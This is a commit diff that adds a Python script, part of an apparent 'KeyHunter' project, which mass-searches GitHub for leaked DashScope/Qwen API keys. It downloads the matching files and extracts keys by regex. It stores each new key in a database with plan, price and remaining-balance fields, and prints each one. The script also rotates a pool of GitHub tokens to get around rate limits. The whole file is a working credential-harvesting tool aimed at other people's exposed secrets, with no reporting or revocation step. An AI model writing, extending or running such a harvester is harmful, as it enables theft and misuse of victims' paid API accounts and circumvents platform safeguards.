KeyHunter parser v10 + 18 scanners + tests (synthetic fixtures only, no keys/db/tokens)

gh_expanded_search.py

@@ -0,0 +1,170 @@
+#!/usr/bin/env python3
+"""GitHub expanded DashScope search — queries not covered by eternal parsers.
+Random token per request, rotate on 401/403/429, max 5 pages per query.
+Extracts sk-[0-9a-f]{32}, dedupes, inserts into keys.db prov='gh_expanded' status='NEW'.
+"""
+import os, re, sys, time, hashlib, sqlite3, random, requests
+from concurrent.futures import ThreadPoolExecutor, as_completed
+from threading import Lock
+
+BASE = os.path.dirname(os.path.abspath(__file__))
+DB_PATH = os.path.join(BASE, "data", "keys.db")
+TOK_PATH = os.path.join(BASE, "gh_tokens.txt")
+
+RE_KEY = re.compile(r'sk-[0-9a-f]{32}')
+RE_PLACEHOLDER = re.compile(
+    r'sk-(xxx|your|example|\*+|None|placeholder|0{8,}|f{8,})', re.IGNORECASE)
+
+QUERIES = [
+    '"sk-" "dashscope" "qwen" language:python',
+    '"sk-" "dashscope" extension:json',
+    '"sk-" "dashscope" extension:properties',
+    '"sk-" "dashscope" extension:toml',
+    '"sk-" "dashscope" extension:ts',
+    '"sk-" "dashscope" extension:env',
+    '"sk-" "qwen" "dashscope" extension:yml',
+    'sk- dashscope filename:.env.example',
+]
+
+MAX_PAGES = 5
+HDRS_BASE = {"Accept": "application/vnd.github.v3+json", "User-Agent": "keyhunter/expanded"}
+
+tokens = []
+dead_tokens = set()
+tok_lock = Lock()
+db_lock = Lock()
+
+
+def rand_token():
+    with tok_lock:
+        alive = [t for t in tokens if t not in dead_tokens]
+        if not alive:
+            dead_tokens.clear()
+            alive = tokens[:]
+        return random.choice(alive)
+
+
+def kill_token(t):
+    with tok_lock:
+        dead_tokens.add(t)
+
+
+def gh_get(url, params, tries=6):
+    """GET with random token, rotate on 401/403/429. Returns Response or None."""
+    for _ in range(tries):
+        tok = rand_token()
+        h = dict(HDRS_BASE)
+        h["Authorization"] = f"token {tok}"
+        try:
+            r = requests.get(url, headers=h, params=params, timeout=20)
+        except Exception:
+            continue
+        if r.status_code in (401, 403, 429):
+            kill_token(tok)
+            time.sleep(0.3)
+            continue
+        return r
+    return None
+
+def fetch_raw(repo, path):
+    # public raw content — no token needed; avoids killing tokens on private-repo 403s
+    url = f"https://raw.githubusercontent.com/{repo}/HEAD/{path}"
+    for _ in range(2):
+        try:
+            r = requests.get(url, headers={"User-Agent": "keyhunter/expanded"}, timeout=20)
+            if r.status_code == 200:
+                return repo, path, r.text
+        except Exception:
+            pass
+    return None
+
+def search_page(query, page):
+    r = gh_get("https://api.github.com/search/code",
+               {"q": query, "per_page": 100, "page": page})
+    if r is None or r.status_code != 200:
+        return set()
+    data = r.json()
+    return {(i["repository"]["full_name"], i["path"]) for i in data.get("items", [])}
+
+
+def extract_keys(text):
+    out = set()
+    for m in RE_KEY.finditer(text):
+        k = m.group(0)
+        if RE_PLACEHOLDER.search(k):
+            continue
+        out.add(k)
+    return out
+
+
+def process_query(query, db, cur, seen, stats):
+    print(f"\n[QUERY] {query}", flush=True)
+    files = set()
+    for page in range(1, MAX_PAGES + 1):
+        got = search_page(query, page)
+        files |= got
+        print(f"  page {page}: {len(got)} files (cum {len(files)})", flush=True)
+        if len(got) < 100:
+            break
+        time.sleep(0.4)
+
+    files = [(r, p) for (r, p) in files]
+    new_keys = []
+    with ThreadPoolExecutor(max_workers=3) as pool:
+        futs = {pool.submit(fetch_raw, r, p): (r, p) for r, p in files}
+        for f in as_completed(futs):
+            res = f.result()
+            if res is None:
+                continue
+            repo, path, content = res
+            for k in extract_keys(content):
+                with db_lock:
+                    if k in seen:
+                        continue
+                    seen.add(k)
+                    h = hashlib.sha256(k.encode()).hexdigest()
+                    cur.execute("SELECT 1 FROM keys WHERE hash=?", (h,))
+                    if cur.fetchone():
+                        continue
+                    now = time.strftime("%Y-%m-%dT%H:%M:%S", time.gmtime())
+                    cur.execute(
+                        "INSERT INTO keys (hash,val,prov,status,plan,price,remaining,found,repo,first_seen,last_seen)"
+                        " VALUES (?,?,?,?,?,?,?,?,?,?,?)",
+                        (h, k, 'gh_expanded', 'NEW', 'standard', '', '',
+                         now, f"github:{repo}/{path}", now, now))
+                    db.commit()
+                    new_keys.append((k, repo, path))
+    for k, r, p in new_keys:
+        print(f"  [+] NEW {k} | {r}/{p}", flush=True)
+    stats['files'] += len(files)
+    stats['new'] += len(new_keys)
+    print(f"  => files {len(files)}, new keys {len(new_keys)}", flush=True)
+
+
+def main():
+    with open(TOK_PATH) as f:
+        tokens.extend(l.strip() for l in f if l.strip() and not l.startswith("#"))
+    print(f"tokens: {len(tokens)}")
+    if not tokens:
+        return 1
+
+    db = sqlite3.connect(DB_PATH, check_same_thread=False)
+    cur = db.cursor()
+    seen = set(m[0] for m in cur.execute(
+        "SELECT val FROM keys WHERE val LIKE 'sk-%'").fetchall())
+    print(f"existing sk- vals loaded for dedupe: {len(seen)}")
+
+    stats = {'files': 0, 'new': 0}
+    for q in QUERIES:
+        try:
+            process_query(q, db, cur, seen, stats)
+        except Exception as e:
+            print(f"  !! query failed: {e}", flush=True)
+
+    db.close()
+    print(f"\nDONE. files fetched: {stats['files']}, new keys inserted: {stats['new']}")
+    return 0
+
+
+if __name__ == "__main__":
+    sys.exit(main())